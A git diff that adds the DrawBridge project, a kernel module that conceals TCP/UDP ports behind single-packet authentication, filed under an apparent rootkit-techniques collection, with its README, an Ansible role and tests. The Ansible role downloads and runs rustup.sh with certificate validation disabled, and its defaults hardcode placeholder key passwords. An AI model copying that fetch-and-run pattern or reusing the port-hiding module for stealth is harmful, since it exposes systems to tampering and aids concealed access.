identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/Linux/Rootkit Techniques/DrawBridge/README.md b/Linux/Rootkit Techniques/DrawBridge/README.md new file mode 100644 index 0000000..0714806 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/README.md @@ -0,0 +1,185 @@ +![logo](https://github.com/landhb/DrawBridge/blob/master/img/logo.PNG?raw=true) + +[![Actions Status](https://github.com/landhb/Drawbridge/workflows/Ubuntu%20Latest%20Build%20CI/badge.svg)](https://github.com/landhb/Drawbridge/actions) + +A layer 4 Single Packet Authentication (SPA) Module, used to conceal TCP/UDP ports on public facing machines and add an extra layer of security. + +Note: DrawBridge now supports both IPv4 and IPv6 traffic + +## Demo + +![gif](https://github.com/landhb/DrawBridge/blob/master/img/example.gif?raw=true) + +Please read the corresponding [article](https://www.landhb.me/posts/bODdK/port-knocking-with-netfilter-kernel-modules/) for a more in-depth look at the design. + +# Basic usage + +```bash +sudo db auth --server [REMOTE_SERVER] --dport 53 -p udp --unlock [PORT_TO_UNLOCK] +``` + +To give the `db` binary CAP_NET_RAW privs so that you don't need `sudo` to run it: + +```bash +chmod 500 ~/.cargo/bin/db +sudo setcap cap_net_raw=pe ~/.cargo/bin/db +``` + +It's also convenient to create a bash alias to run `db` automatically when you want to access the port that it's guarding. + +```bash +alias "connect"="db auth -s [REMOTE] -d 53 -p udp --unlock [PORT] && ssh -p [PORT] user@[REMOTE]" +``` + +## Build and Install the Drawbridge Utilities + +The usermode tools are now written in Rust! Build and install them with cargo: + +``` +git clone https://github.com/landhb/Drawbridge +cargo install --path Drawbridge/tools + +# or +cargo install dbtools +``` + +## Build and Install the Drawbridge Module + +To automagically generate keys, run the following on your client machine: + +```bash +db keygen +``` + +The output of the keygen utility will be three files: `~/.drawbridge/db_rsa`, `~/.drawbridge/db_rsa.pub` and `key.h`. Keep `db_rsa` safe, it's your private key. `key.h` is the public key formated as a C-header file. It will be compiled into the kernel module. + + +To compile the kernel module simply, bring `key.h`, cd into the kernel directory and run `make`. + +```bash +# on the server compile the module and load it +# pass the ports you want to monitor as an argument +mv key.h kernel/ +cd kernel +make +sudo modprobe x_tables +sudo insmod drawbridge.ko ports=22,445 +``` + +You may need to install your kernel headers to compile the module, you can do so with: + +``` +sudo apt-get install linux-headers-$(uname -r) +sudo apt-get update && sudo apt-get upgrade +``` + +This code has been tested on Linux Kernels between 4.X and 5.9. I don't plan to support anything earlier than 4.X but let me know if you encounter some portabilitity issues on newer kernels. + +## Customizing a Unique 'knock' Packet + +If you wish to customize your knock a little more you can edit the TCP header options in client/bridge.c. For instance, maybe you want to make your knock packet have the PSH,RST,and ACK flags set and a window size of 3104. Turn those on: + +```c +// Flags +(*pkt)->tcp_h.fin = 0; // 1 +(*pkt)->tcp_h.syn = 0; // 2 +(*pkt)->tcp_h.rst = 1; // 4 +(*pkt)->tcp_h.psh = 1; // 8 +(*pkt)->tcp_h.ack = 1; // 16 +(*pkt)->tcp_h.urg = 0; // 32 + + +(*pkt)->tcp_h.window = htons(3104); +``` + +Then make sure you can create a BPF filter to match that specific packet. For the above we would have RST(4) + PSH(8) + ACK(16) = 28 and the offset for the window field in the TCP header is 14: + +``` +"tcp[tcpflags] == 28 and tcp[14:2] = 3104" +``` + +[Here is a good short article on tcp flags if you're unfamiliar.](https://danielmiessler.com/study/tcpflags/). Because tcpdump doesn't support tcp offset shortcuts for IPv6 you have to work with offsets relative to the IPv6 header to support it: + +``` +(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" +``` + +After you have a working BPF filter, you need to compile it and include the filter in the kernel module server-side. So to compile this and place the output in kernel/listen.c in struct sock_filter code[]: + +``` +tcpdump "(tcp[tcpflags] == 28 and tcp[14:2] = 3104) or (ip6[40+13] == 28 and ip6[(40+14):2] = 3104)" -dd +``` + +which gives us: + +```c +struct sock_filter code[] = { + { 0x28, 0, 0, 0x0000000c }, + { 0x15, 0, 9, 0x00000800 }, + { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 13, 0x00000006 }, + { 0x28, 0, 0, 0x00000014 }, + { 0x45, 11, 0, 0x00001fff }, + { 0xb1, 0, 0, 0x0000000e }, + { 0x50, 0, 0, 0x0000001b }, + { 0x15, 0, 8, 0x0000001c }, + { 0x48, 0, 0, 0x0000001c }, + { 0x15, 5, 6, 0x00000c20 }, + { 0x15, 0, 5, 0x000086dd }, + { 0x30, 0, 0, 0x00000043 }, + { 0x15, 0, 3, 0x0000001c }, + { 0x28, 0, 0, 0x00000044 }, + { 0x15, 0, 1, 0x00000c20 }, + { 0x6, 0, 0, 0x00040000 }, + { 0x6, 0, 0, 0x00000000 }, +}; +``` + +And there you go! You have a unique packet that the DrawBridge kernel module will parse! + + +## Generating an RSA Key Pair Manually + +First generate the key pair: + +``` +openssl genrsa -des3 -out private.pem 2048 +``` + +Export the public key to a seperate file: + +```bash +openssl rsa -in private.pem -outform DER -pubout -out public.der +``` + +If you take a look at the format, you'll see that this doesn't exactly match the kernel struct representation of a public key, so we'll need to extract the relevant data from the BIT_STRING field in the DER format: + +```bash +vagrant@ubuntu-xenial:~$ openssl asn1parse -in public.der -inform DER + +0:d=0 hl=4 l= 290 cons: SEQUENCE +4:d=1 hl=2 l= 13 cons: SEQUENCE +6:d=2 hl=2 l= 9 prim: OBJECT :rsaEncryption +17:d=2 hl=2 l= 0 prim: NULL +19:d=1 hl=4 l= 271 prim: BIT STRING <-------------------- THIS IS WHAT WE NEED +``` + +You can see that the BIT_STRING is at offset 19. From here we can extract the relevant portion of the private key format to provide the kernel module: + +```bash +openssl asn1parse -in public.der -inform DER -strparse 19 -out output.der +``` + +You'll notice that this is compatible with [RFC 3447 where it outlines ASN.1 syntax for an RSA public key](https://tools.ietf.org/html/rfc3447#page-44). + +```bash +0:d=0 hl=4 l= 266 cons: SEQUENCE +4:d=1 hl=4 l= 257 prim: INTEGER :BB82865B85ED420CF36054.... +265:d=1 hl=2 l= 3 prim: INTEGER :010001 +``` + +If you need to dump output.der as a C-style byte string: + +```bash +hexdump -v -e '16/1 "_x%02X" "\n"' output.der | sed 's/_/\\/g; s/\\x //g; s/.*/ "&"/' +``` diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/main.yml new file mode 100644 index 0000000..ec707c9 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/main.yml @@ -0,0 +1,4 @@ +- hosts: localhost + gather_facts: True + roles: + - { role: drawbridge, DRAWBRIDGE_PASS: privatekeypassword, DRAWBRIDGE_PORTS: 8888,9999} diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md new file mode 100644 index 0000000..24dd08e --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/README.md @@ -0,0 +1,38 @@ +Drawbridge +========= + +A Single Packet Authentication module to restrict ports to a single IP address for a short period of time. + +Requirements +------------ + +Any pre-requisites that may not be covered by Ansible itself or the role should be mentioned here. For instance, if the role uses the EC2 module, it may be a good idea to mention in this section that the boto package is required. + +Role Variables +-------------- + +A description of the settable variables for this role should go here, including any variables that are in defaults/main.yml, vars/main.yml, and any variables that can/should be set via parameters to the role. Any variables that are read from other roles and/or the global scope (ie. hostvars, group vars, etc.) should be mentioned here as well. + +Dependencies +------------ + +A list of other roles hosted on Galaxy should go here, plus any details in regards to parameters that may need to be set for other roles, or variables that are used from other roles. + +Example Playbook +---------------- + +Including an example of how to use your role (for instance, with variables passed in as parameters) is always nice for users too: + + - hosts: servers + roles: + - { role: drawbridge, DRAWBRIDGE_PASS: privatekeypassword, DRAWBRIDGE_PORTS: 8888,9999} + +License +------- + +BSD + +Author Information +------------------ + +An optional section for the role authors to include contact information, or a website (HTML is not allowed). diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml new file mode 100644 index 0000000..dd2edf8 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/defaults/main.yml @@ -0,0 +1,10 @@ +--- +# defaults file for drawbridge +DRAWBRIDGE_PASS: test +DRAWBRIDGE_PORTS: 8888,9999 + +# The destination where cargo should be installed. +cargo_prefix: ~/.cargo/bin #/usr/local + +# Where to drop the downloaded installer. +cargo_tmp: /tmp \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml new file mode 100644 index 0000000..1347c65 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/handlers/main.yml @@ -0,0 +1,2 @@ +--- +# handlers file for drawbridge \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml new file mode 100644 index 0000000..3a212a9 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/meta/main.yml @@ -0,0 +1,53 @@ +galaxy_info: + author: your name + description: your description + company: your company (optional) + + # If the issue tracker for your role is not on github, uncomment the + # next line and provide a value + # issue_tracker_url: http://example.com/issue/tracker + + # Choose a valid license ID from https://spdx.org - some suggested licenses: + # - BSD-3-Clause (default) + # - MIT + # - GPL-2.0-or-later + # - GPL-3.0-only + # - Apache-2.0 + # - CC-BY-4.0 + license: license (GPL-2.0-or-later, MIT, etc) + + min_ansible_version: 2.4 + + # If this a Container Enabled role, provide the minimum Ansible Container version. + # min_ansible_container_version: + + # + # Provide a list of supported platforms, and for each platform a list of versions. + # If you don't wish to enumerate all versions for a particular platform, use 'all'. + # To view available platforms and versions (or releases), visit: + # https://galaxy.ansible.com/api/v1/platforms/ + # + # platforms: + # - name: Fedora + # versions: + # - all + # - 25 + # - name: SomePlatform + # versions: + # - all + # - 1.0 + # - 7 + # - 99.99 + + galaxy_tags: [] + # List tags for your role here, one per line. A tag is a keyword that describes + # and categorizes the role. Users find roles by searching for tags. Be sure to + # remove the '[]' above, if you add tags to this list. + # + # NOTE: A tag is limited to a single word comprised of alphanumeric characters. + # Maximum 20 tags per role. + +dependencies: [] + # List your role dependencies here, one per line. Be sure to remove the '[]' above, + # if you add dependencies to this list. + \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml new file mode 100644 index 0000000..dedb848 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/cargo.yml @@ -0,0 +1,31 @@ +--- +# tasks file for sudo-pair +- name: install requirements for cargo + package: + name: "{{ cargo_requirements }}" + state: present + register: cargo_install_requirements_for_cargo + until: cargo_install_requirements_for_cargo is succeeded + retries: 3 + +- name: download installer rustup + get_url: + url: https://static.rust-lang.org/rustup.sh + dest: "{{ cargo_tmp }}/rustup.sh" + mode: "0750" + validate_certs: no + register: cargo_download_installer_rustup + until: cargo_download_installer_rustup is succeeded + retries: 3 + +- name: run installer rustup + command: ./rustup.sh -y + args: + chdir: "{{ cargo_tmp }}" + creates: "~/.cargo/bin" #"{{ cargo_prefix }}/bin/cargo" + environment: + CARGO_HOME: "{{ cargo_prefix }}" + TMPDIR: "{{ cargo_tmp }}" + register: cargo_run_installer_rustup + until: cargo_run_installer_rustup is succeeded + retries: 3 diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml new file mode 100644 index 0000000..8f559c3 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/drawbridge.yml @@ -0,0 +1,107 @@ +- name: Update APT package cache + apt: + update_cache: true + cache_valid_time: 3600 + become: true + +- name: Install Kernel Headers + apt: + name: "linux-headers-{{ ansible_kernel }}" + become: true + +- name: Install cargo + include_tasks: "cargo.yml" + +- name: Clone drawbridge + git: + repo: https://github.com/landhb/DrawBridge.git + dest: /tmp/drawbridge + version: master + tags: drawbridge + +- name: Install build tools + become: yes + apt: + name: "{{ packages }}" + update_cache: yes + vars: + packages: + - make + - python3-pip + - python3-pkg-resources + tags: drawbridge + +- name: install pexpect + pip: + name: pexpect + become: yes + tags: drawbridge + +- name: Build and install db + command: "cargo install --path tools/" + args: + chdir: /tmp/drawbridge + tags: drawbridge + +- name: Generate new keys + expect: + command: "db keygen" + chdir: /tmp/drawbridge + creates: /tmp/drawbridge/key.h + responses: + (?i)create: "Y" + tags: drawbridge + +- name: Move key.h to kernel directory + shell: "mv ../key.h ." + args: + chdir: /tmp/drawbridge/kernel + creates: /tmp/drawbridge/kernel/key.h + tags: drawbridge + +- name: Retrieve private key + fetch: + src: ~/.drawbridge/db_rsa + dest: ~/.drawbridge/private_{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}.pem + tags: drawbridge + +- name: Compile drawbridge + command: "make" + args: + chdir: /tmp/drawbridge/kernel + creates: /tmp/drawbridge/kernel/drawbridge.ko + tags: drawbridge + +- name: Install drawbridge + command: "{{ item }}" + with_items: + - "cp /tmp/drawbridge/kernel/drawbridge.ko /lib/modules/{{ ansible_kernel }}/kernel/drivers/net" + - "depmod -a" + become: yes + tags: drawbridge + +- name: Load drawbridge + modprobe: + name: drawbridge + state: present + params: "ports={{ DRAWBRIDGE_PORTS }}" + become: yes + tags: drawbridge + +- name: Cleanup tmp directory + file: + path: "rm -rf /tmp/drawbridge" + state: absent + tags: drawbridge + +- name: Uninstall unnecessary packages + become: yes + apt: + name: "{{ packages }}" + state: absent + vars: + packages: + - make + - python3-pip + - python3-pkg-resources + tags: drawbridge \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml new file mode 100644 index 0000000..995f279 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tasks/main.yml @@ -0,0 +1,23 @@ +--- +# main tasks file for drawbridge + + +- name: check if drawbridge is installed + shell: modinfo drawbridge + register: modinfo_result + ignore_errors: yes + failed_when: False + no_log: True + become: yes + + +# conditionally apply installation +- name: Apply install if necessary + include_tasks: "drawbridge.yml" + when: modinfo_result.rc == 1 + + + + + + diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory new file mode 100644 index 0000000..22fb13b --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/inventory @@ -0,0 +1,3 @@ +localhost ansible_connection=local + + diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml new file mode 100644 index 0000000..2e5d46a --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test.yml @@ -0,0 +1,5 @@ +--- +- hosts: localhost + remote_user: root + roles: + - drawbridge \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py new file mode 100644 index 0000000..f64e148 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/tests/test_drawbridge.py @@ -0,0 +1,60 @@ +import os +import pytest +import testinfra +#import testinfra.utils.ansible_runner +#from ansible.template import Templar +#from ansible.parsing.dataloader import DataLoader + +#runner = testinfra.utils.ansible_runner.AnsibleRunner( +# os.environ['MOLECULE_INVENTORY_FILE'] +#) +#testinfra = runner.get_hosts('all') + + +@pytest.fixture(scope='module') +def get_vars(host): + defaults_files = "file=./roles/drawbridge/defaults/main.yml name=role_defaults" + vars_files = "file=./roles/drawbridge/vars/main.yml name=role_vars" + + ansible_vars = host.ansible( + "include_vars", + defaults_files)["ansible_facts"]["role_defaults"] + + ansible_vars.update(host.ansible( + "include_vars", + vars_files)["ansible_facts"]["role_vars"]) + + return ansible_vars + +def test_drawbridge_install(host): + lsmod = host.check_output("lsmod") + assert "drawbridge" in lsmod + + +def test_ports_closed(host, get_vars): + print(get_vars) + assert "DRAWBRIDGE_PORTS" in get_vars + + localhost = host.addr("127.0.0.1") + assert localhost.is_resolvable + + for i in get_vars['DRAWBRIDGE_PORTS'].split(','): + assert localhost.port(i).is_reachable is False + +def test_apt_cleanup(host): + make = host.package("make") + pip = host.package("python3-pip") + pkg_resources = host.package("python3-pkg-resources") + + assert make.is_installed is False + assert pip.is_installed is False + assert pkg_resources.is_installed is False + +''' +def test_key_file(host): + f = host.file('~/drawbridge/') + + assert f.exists + assert f.user == 'root' + assert f.group == 'root' +''' diff --git a/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml new file mode 100644 index 0000000..47e2f7b --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/ansible/roles/drawbridge/vars/main.yml @@ -0,0 +1,6 @@ +--- +# vars file for drawbridge +cargo_requirements: + - curl + - file + - bash \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/img/example.gif b/Linux/Rootkit Techniques/DrawBridge/img/example.gif new file mode 100644 index 0000000000000000000000000000000000000000..4290e60aac4bfedf75955bbee8fd3c570420a48f GIT binary patch literal 388515 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 